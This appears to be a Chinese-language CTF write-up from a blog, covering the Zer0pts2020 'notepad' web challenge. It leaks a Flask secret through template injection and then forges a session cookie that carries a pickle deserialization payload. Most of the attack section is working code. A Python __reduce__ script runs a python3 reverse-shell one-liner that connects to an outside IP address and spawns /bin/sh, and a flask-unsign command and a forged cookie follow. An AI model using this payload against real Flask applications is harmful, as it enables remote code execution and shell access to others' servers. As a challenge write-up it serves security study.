首页 > 其他分享 >web | [Zer0pts2020]notepad

web | [Zer0pts2020]notepad

时间:2023-06-29 16:36:29浏览次数:44  
标签:web socket flask os notepad Zer0pts2020 import pickle

web | [Zer0pts2020]notepad

参考guoke师傅的文章:https://guokeya.github.io/post/3kK-0Vkzq/

主要是ssti+pickle反序列化。
首先通过ssti拿到flask的secret。
之后通过伪造jwt的方式进行pickle反序列化的利用。

生成pickle,这里我使用的是python3来反弹shell,flask肯定有这个环境,比较方便:
但是值得注意的是,在windows上和linux上pickle的结果是不一样的

import pickle
import base64
import os
class Person(object):
    def __reduce__(self):
        return (os.system,("python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('43.142.193.63',9996));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\"",))
admin=Person()
print(base64.b64encode(pickle.dumps(admin)))

然后使用flask-unsign工具进行重签名:

flask-unsign -s -S "b'\x84\x8f\xce\xe0+\xa0\xda\xfd*\x81\xa8ctY\x91\xb7'" -c "{'savedata':b'gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24zIC1jICJpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnNDMuMTQyLjE5My42MycsOTk5NikpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk7IpSFlFKULg=='}"

得到结果如下:

.eJwlkMuOmzAARX-l4gtsXKrOLFMegY6dYPzA7OwYiWBDycAkhNH8e6m6uIu7uEdH9zOY9b21etHB62fwzQSvQQNSJlxKKU8P5f_EjBeqHJseDw9gEo9oiDdznByFzd6ns5DTWY7Wy7S4qz4HrfMxllNRgumhfPfLDuSDS9vj3t8UKyRO1pz1aWNcEam-OJkMb6wmVwwAUujP2g75k42FlmkK1ZZHekieoj-8VUkUSlYAk9GY8KIysf8tskUKvvPGpsEjnZsEQ5GWD-ZWhXkkhFxk6SnTm-1bJm67H7RiqtnOK0P7wRwllkPOa4-145DVDmAHI4XIWWQzZIN_vyQ_n6d6wkbkqwK0MCGJiISdQN2sBvDdgIVZZN_EkYyqJ2Tn52K0RMvuB8ugvmTFUYzi2kr7YAlNL8lL9O_P3ee9SbtDy5ec1UIbuW7SX6B1S6wR2fczUqDc_6B1NdreMH-Tvju1bl3Y0F0psneBfG-9X8xRYAyiezV6ZNxa6zBSPJxRVR8YHdasggI3G3gJvr7-AlOpqeE.ZJ08-Q.2eFPuQHyrqF18zaObRGgsw0eBSA

直接打就能反弹shell了(guoke师傅我的超人!)。

标签:web,socket,flask,os,notepad,Zer0pts2020,import,pickle
From: https://www.cnblogs.com/Mz1-rc/p/17514513.html

相关文章

  • WEB系统安全之开源软件风险使用评估
    本文分享自天翼云开发者社区《WEB系统安全之开源软件风险使用评估》,作者:Coding中国信息通信研究院(ChinaAcademyofInformationandCommunicationsTechnology,以下简称“中国信通院”)在2021年举办的“OSCAR开源产业大会”上,发布了《开源生态白皮书》,在其中虽然没有专门阐述......
  • Python Flask - 快速构建Web应用详解
    本文将详细探讨PythonFlaskWeb服务。我将首先简单介绍Flask,然后将逐步进入Flask中的路由、模板、表单处理以及数据库集成等高级概念,目标是能够让大家了解并掌握使用Flask来创建动态Web应用的技巧。1.Flask简介Flask是一个轻量级的Web服务器网关接口(WSGI)web应用框架。它被设计......
  • WEB安全之:文件上传
    郑重声明:本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。目录WEB安全之:文件上传1文件上传过程1.1浏览器打开上传页面1.2用户提交上传......
  • Ruby web开发实战(3)-Ruby疑难点(3)
    目录运算符方法调用正则表达式命令行参数读文件运算符方法调用irb(main):001:0>10-9*33=>-287irb(main):002:0>irb(main):003:0>a=11=>11irb(main):004:0>b=12=>12irb(main):005:0>c=3=>3irb(main):006:0>a-b*c=>-25irb(main):007:0>在Ruby中......
  • Kubernetes(k8s) Web-UI界面(一):部署和访问仪表板(Dashboard)
    目录一.系统环境二.前言三.仪表板(Dashboard)简介四.部署Kubernetes仪表板(Dashboard)五.访问Kubernetes仪表板(Dashboard)5.1使用token登录Dashboard5.2对sa账号kubernetes-dashboard授权5.3访问Dashboard六.总结七.附加信息一.系统环境本文主要基于Kubernetes1.21.9和Linux操作......
  • appium报错AttributeError: 'WebDriver' object has no attribute 'find_element_by_i
    解决方法:fromappium.webdriver.common.appiumbyimportAppiumBy#导入AppiumBysearch=driver.find_element(AppiumBy.ID,"com.android.settings:id/search")#编写格式:driver.find_element(by=AppiumBy.ACCESSIBILITY_ID,value='accessibility_id')思考流程:......
  • 常见的Web应用程序架构
    资料:Commonwebapplicationarchitectures|MicrosoftLearn微软的这篇文章,讨论了常见的web应用程序架构。大概可以分为三类:1,新建的asp.netCoreweb项目,单体架构,在单个项目场景中,通过使用文件夹来实现关注点分离。如图: 单体架构随着业务发展,可能需要新加很多文件夹,各个文......
  • WP CTF-Web 攻防世界 GFSJ0475 get_post
    「场景」进入场景后提示请用GET方式提交一个名为a,值为1的变量「思路」根据提示在url后加上?a=1,回车发送请求。出现新提示。请再以POST方式随便提交一个名为b,值为2的变量打开brupsuite,配置本地代理为brupsuite中proxy的地址和端口号,刷新浏览器页面,brupsuite捕获到请求......
  • WP CTF-Web 攻防世界 GFSJ0474 view_source
    「场景」题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。「思路」进入场景,右键无法使用,按F12,打开开发者工具,切换到ELements标签页,发现flag...「工具」「知识拓展」......
  • 使用宝塔webhook快速部署github仓库上的项目
    1、宝塔安装webhook点击添加Hook,输入如下命令。cd/www/wwwroot/project_namegitpull点击查看密钥,可以得到hooks的地址和密钥。2、Github上设置Webhooks填入上面得到的地址和密钥 3、为了git拉取免登录,需要在服务器安装ssh证书ssh-keygen-trsacat~/.ssh/id_r......